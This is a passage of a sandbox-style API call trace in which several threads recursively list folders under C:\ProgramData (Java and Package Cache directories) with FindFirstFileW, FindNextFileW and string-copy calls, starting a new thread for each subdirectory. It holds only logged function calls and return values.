	[0079.029] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.029] wcscmp (_String1="..", _String2=".") returned 1
	[0079.029] wcscmp (_String1="..", _String2="..") returned 0
	[0079.029] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1
	[0079.029] wcscmp (_String1=".oracle_jre_usage", _String2=".") returned 1
	[0079.029] wcscmp (_String1=".oracle_jre_usage", _String2="..") returned 1
	[0079.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780ab8
	[0079.029] wcscpy (in: _Dest=0x4780ab8, _Source="C:\\ProgramData\\Oracle\\Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0079.029] wcscat (in: _Dest=0x4780ab8, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\") returned="C:\\ProgramData\\Oracle\\Java\\"
	[0079.029] wcscat (in: _Dest=0x4780ab8, _Source=".oracle_jre_usage" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage"
	[0079.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4780ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8
	[0079.030] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1
	[0079.030] wcscmp (_String1="installcache_x64", _String2=".") returned 1
	[0079.030] wcscmp (_String1="installcache_x64", _String2="..") returned 1
	[0079.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf668
	[0079.030] wcscpy (in: _Dest=0x2daf668, _Source="C:\\ProgramData\\Oracle\\Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0079.030] wcscat (in: _Dest=0x2daf668, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\") returned="C:\\ProgramData\\Oracle\\Java\\"
	[0079.030] wcscat (in: _Dest=0x2daf668, _Source="installcache_x64" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64"
	[0079.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc
	[0079.031] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1
	[0079.031] wcscmp (_String1="javapath", _String2=".") returned 1
	[0079.031] wcscmp (_String1="javapath", _String2="..") returned 1
	[0079.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2dffe60
	[0079.031] wcscpy (in: _Dest=0x2dffe60, _Source="C:\\ProgramData\\Oracle\\Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0079.031] wcscat (in: _Dest=0x2dffe60, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\") returned="C:\\ProgramData\\Oracle\\Java\\"
	[0079.031] wcscat (in: _Dest=0x2dffe60, _Source="javapath" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath") returned="C:\\ProgramData\\Oracle\\Java\\javapath"
	[0079.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dffe60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004
	[0079.032] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1
	[0079.032] wcscmp (_String1="javapath_target_474984", _String2=".") returned 1
	[0079.032] wcscmp (_String1="javapath_target_474984", _String2="..") returned 1
	[0079.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed140
	[0079.032] wcscpy (in: _Dest=0x47ed140, _Source="C:\\ProgramData\\Oracle\\Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0079.032] wcscat (in: _Dest=0x47ed140, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\") returned="C:\\ProgramData\\Oracle\\Java\\"
	[0079.032] wcscat (in: _Dest=0x47ed140, _Source="javapath_target_474984" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984") returned="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984"
	[0079.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ed140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008
	[0079.033] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0
	[0079.033] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e289a0) returned 1
	[0079.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b28) returned 1
	[0079.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70d40) returned 1

Thread:
	id = 328
	os_tid = 0x1448

	[0076.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d61e70
	[0076.867] wcscpy (in: _Dest=0x2d61e70, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0076.867] wcscat (in: _Dest=0x2d61e70, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\"
	[0076.867] wcscat (in: _Dest=0x2d61e70, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*"
	[0076.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e25be8
	[0076.867] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2e25be8 | out: lpFindFileData=0x2e25be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87638
	[0079.948] wcscmp (_String1=".", _String2=".") returned 0
	[0079.948] FindNextFileW (in: hFindFile=0x2d87638, lpFindFileData=0x2e25be8 | out: lpFindFileData=0x2e25be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.948] wcscmp (_String1="..", _String2=".") returned 1
	[0079.948] wcscmp (_String1="..", _String2="..") returned 0
	[0079.948] FindNextFileW (in: hFindFile=0x2d87638, lpFindFileData=0x2e25be8 | out: lpFindFileData=0x2e25be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.948] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.948] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb8d0
	[0079.948] wcscpy (in: _Dest=0x2ddb8d0, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0079.948] wcscat (in: _Dest=0x2ddb8d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\"
	[0079.948] wcscat (in: _Dest=0x2ddb8d0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.251] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.251] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\"
	[0092.251] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*"
	[0092.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.251] wcscmp (_String1=".", _String2=".") returned 0
	[0092.251] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.251] wcscmp (_String1="..", _String2=".") returned 1
	[0092.251] wcscmp (_String1="..", _String2="..") returned 0
	[0092.251] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.251] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.251] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33478
	[0092.251] wcscpy (in: _Dest=0x4e33478, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.251] wcscat (in: _Dest=0x4e33478, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\"
	[0092.251] wcscat (in: _Dest=0x4e33478, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0092.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33390
	[0092.251] wcscpy (in: _Dest=0x4e33390, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0092.251] wcscat (in: _Dest=0x4e33390, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\"
	[0092.251] wcscat (in: _Dest=0x4e33390, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.252] wcscmp (_String1=".", _String2=".") returned 0
	[0092.252] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.252] wcscmp (_String1="..", _String2=".") returned 1
	[0092.252] wcscmp (_String1="..", _String2="..") returned 0
	[0092.252] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.252] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.252] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.252] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.252] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.252] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.252] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.252] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33390) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33478) returned 1
	[0092.252] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.252] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb8d0) returned 1
	[0092.252] FindNextFileW (in: hFindFile=0x2d87638, lpFindFileData=0x2e25be8 | out: lpFindFileData=0x2e25be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.253] FindClose (in: hFindFile=0x2d87638 | out: hFindFile=0x2d87638) returned 1
	[0092.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e25be8) returned 1
	[0092.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61e70) returned 1
	[0092.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fe38) returned 1

Thread:
	id = 329
	os_tid = 0x144c

	[0076.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d78f68
	[0076.869] wcscpy (in: _Dest=0x2d78f68, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0076.869] wcscat (in: _Dest=0x2d78f68, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\"
	[0076.869] wcscat (in: _Dest=0x2d78f68, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"
	[0076.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e24fe0
	[0076.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2e24fe0 | out: lpFindFileData=0x2e24fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d875b8
	[0079.947] wcscmp (_String1=".", _String2=".") returned 0
	[0079.947] FindNextFileW (in: hFindFile=0x2d875b8, lpFindFileData=0x2e24fe0 | out: lpFindFileData=0x2e24fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.947] wcscmp (_String1="..", _String2=".") returned 1
	[0079.947] wcscmp (_String1="..", _String2="..") returned 0
